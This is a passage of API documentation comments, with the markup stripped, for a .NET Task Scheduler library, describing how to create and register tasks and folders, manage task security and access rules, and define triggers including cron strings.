the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + An enumerable collection of folders that matches . + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Enumerates the tasks in the specified folder and its child folders. + + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + + Provides information and control for a collection of folders that contain tasks. + + + + + Gets the number of items in the collection. + + + + + Gets a value indicating whether the is read-only. + + + + + Gets the specified folder from the collection. + + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Gets the specified folder from the collection. + + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Adds an item to the . + + The object to add to the . + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Releases all resources used by this class. + + + + + Determines whether the specified folder exists. + + The path of the folder. + true if folder exists; otherwise, false. + + + + Gets a list of items in a collection. + + Enumerated list of items in the collection. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using the + or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. However, the user + interface and methods will always show the time translated to local time. The library makes every attempt to + maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be + checked if the Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time + adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is repeated after the + task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the + is unspecified. If the DateTime value Kind is then it will be used as is. If the + DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user interface and + methods will always show the time translated to local time. The library makes every attempt to maintain the Kind + value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be checked if the + Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the + value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will behave as follows: + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or 